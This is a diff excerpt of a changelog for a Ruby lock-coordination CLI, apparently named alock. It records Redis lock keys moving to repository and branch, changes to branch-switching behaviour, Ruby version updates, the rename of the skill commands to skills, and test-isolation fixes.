+ ### Changed
114
+
115
+ - **Breaking for Redis users:** locks are keyed by the repository and branch, not the checkout's absolute path. The Redis namespace is now `agent-lock:<repository digest>` and its mutex `agent-lock-mutex:<repository digest>`, where the repository is the normalized `origin` URL (`git@github.com:a/b.git` and `https://github.com/a/b` agree), else the root commit, else the path outside git. Two machines on one Redis, or two clones on one machine, now block each other on overlapping scopes of the same branch, and checkouts on different branches (worktrees, typically) still do not. Locks taken by an earlier version under the old path-keyed namespace are not seen, and are never reaped either: without an `AGENT_LOCK_TTL_SECONDS` they stay in Redis until deleted by hand. Release them before upgrading. The file store is unaffected, since its old records are still read and reaped in the checkout that wrote them.
116
+ - Every lock records the `repo` and `branch` it was taken on. A lock written by an earlier version has neither, and is matched by its path on the host that wrote it.
8
117
  - `release`, `note`, `break` and `resume` find a lock this checkout took on another branch, so switching branches after claiming no longer strands it. That checkout still blocks itself on those files, since they are the same files on disk. `release` and `note` take the lock this session owns when another checkout holds the same scope on the new branch.
9
118
  - A detached HEAD is keyed by its path on its own host, so two machines with a checkout at the same path do not collide.
10
119
  - `resume` refuses (exit 1, `HELD`) when somebody claimed an overlapping scope while the work sat interrupted, and the resumed claim covers the branch the checkout is on now rather than the one the orphan was taken on.
11
120
  - Reaping a lock from another checkout or another machine no longer clears this checkout's freeze flags on files of the same relative name.
121
+ - `.ruby-version` is back on 4.0.6. CI still runs the suite on both 4.0.6 and 4.1.0-preview1.
12
122
 
13
- - Development moves to Ruby 4.1.0-preview1 (`.ruby-version`). CI runs the suite on both 4.0.6 and 4.1.0-preview1, and rubocop on whatever `.ruby-version` names. `required_ruby_version` is unchanged.
14
- - `alock skill install` and `alock skill path` are now `alock skills install` and `alock skills path`. The old `skill` spelling is gone.
123
+ ### Fixed
124
+
125
+ - `erb` is pinned off the yanked 6.1.0, which had made `bundle install` fail on a clean machine and in CI.
126
+ - The CLI specs now stay on the test Redis database. Aruba ran them in its own environment, so on the Redis backend they wrote into database 0 of the developer's own Redis, and leftover locks leaked into later examples.
127
+
128
+ ## [3.0.0] - 2026-10-13
129
+
130
+ ### Changed
131
+
132
+ - **Breaking:** `alock skill install` and `alock skill path` are now `alock skills install` and `alock skills path`. The old `skill` spelling is gone.
15
133
  - `alock skills install --help` names every skill it installs, and renders at all: an empty example string used to crash dry-cli-help, and the launcher exited 0 with no output.
134
+ - Development moves to Ruby 4.1.0-preview1 (`.ruby-version`). CI runs the suite on both 4.0.6 and 4.1.0-preview1, and rubocop on whatever `.ruby-version` names. `required_ruby_version` is unchanged.
135
+ - Development and test gems are grouped in the `Gemfile`.
136
+ - The spec suite uses a local Redis when one answers, even if `REDIS_URL` is set.
16
137
 
17
138
  ## [2.1.0]
18
139